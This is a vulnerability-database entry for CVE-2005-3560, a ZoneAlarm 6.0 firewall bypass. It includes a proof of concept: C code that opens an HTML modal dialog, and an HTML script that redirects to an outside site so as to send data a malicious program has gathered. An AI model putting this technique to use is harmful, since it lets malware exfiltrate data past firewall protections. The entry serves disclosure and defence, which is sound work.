Zone Labs Zone Alarm 6.0 - Advance Program Control Bypass

🗓️ 07 Nov 2005 00:00:00Reported by Tr0y-xType

Zone Labs Zone Alarm 6.0 - Advanced Program Control Bypass vulnerability allows for unauthorized data transfe

Reporter	Title	Published	Views	Family All 5
Tenable Nessus	ZoneAlarm Personal Firewall < 6.0.667.000 Multiple Vulnerabilities	16 Sep 200500:00	–	nessus
CVE	CVE-2005-3560	16 Nov 200507:37	–	cve
Cvelist	CVE-2005-3560	16 Nov 200507:37	–	cvelist
EUVD	EUVD-2005-3559	7 Oct 202500:30	–	euvd
NVD	CVE-2005-3560	16 Nov 200507:42	–	nvd

source: https://www.securityfocus.com/bid/15347/info

Zone Labs Zone Alarm is prone to a weakness that permits the bypassing of the Advanced Program Control protection.

Reports indicate that applications can create a modal dialog box displaying HTML, which can then be redirected to a remote site.

This would allow a malicious program to bypass Advanced Program Control protection and send data to a remote attacker from a compromised computer.

It should be noted that this issue only presents itself if the Advanced Program Control setting has been enabled and the browser has been authorized to access the Internet.

<<< osfwbypass-demo.c >>>

BOOL LoadHtmlDialog(void)
{
HINSTANCE hinstMSHTML = LoadLibrary(TEXT("MSHTML.DLL"));

if (hinstMSHTML)
{
SHOWHTMLDIALOGFN* pfnShowHTMLDialog;

// Open a Modal Dialog box of HTML content type
pfnShowHTMLDialog = (SHOWHTMLDIALOGFN*)GetProcAddress(hinstMSHTML,
TEXT("ShowHTMLDialog"));

if (pfnShowHTMLDialog)
{
IMoniker *pURLMoniker;

// Invoke the html file containing the data to be sent via http
BSTR bstrURL = SysAllocString(L"c:\\modal-dialog.htm");
CreateURLMoniker(NULL, bstrURL, &pURLMoniker);

if (pURLMoniker)
{
(*pfnShowHTMLDialog)(NULL, pURLMoniker, NULL, NULL, NULL);
pURLMoniker->Release();
}

SysFreeString(bstrURL);
}

FreeLibrary(hinstMSHTML);
}

Return True;
}

<<< +++ >>>


<<< modal-dialog.htm >>>
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<title>Redirection Dialog</title>

<script language="JavaScript">

<!-- Here goes the information logged by the malicious program which will
be sent to the evil site via http request -->
var sTargetURL =
"http://www.hackingspirits.com/vuln-rnd/demo/defeat-osfw.asp?[Your
Information Here]
window.location.href = sTargetURL;
window.close;
</script>

</head>
</html>
<<< +++ >>>

30 Jun 2013 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 27.5

EPSS0.13588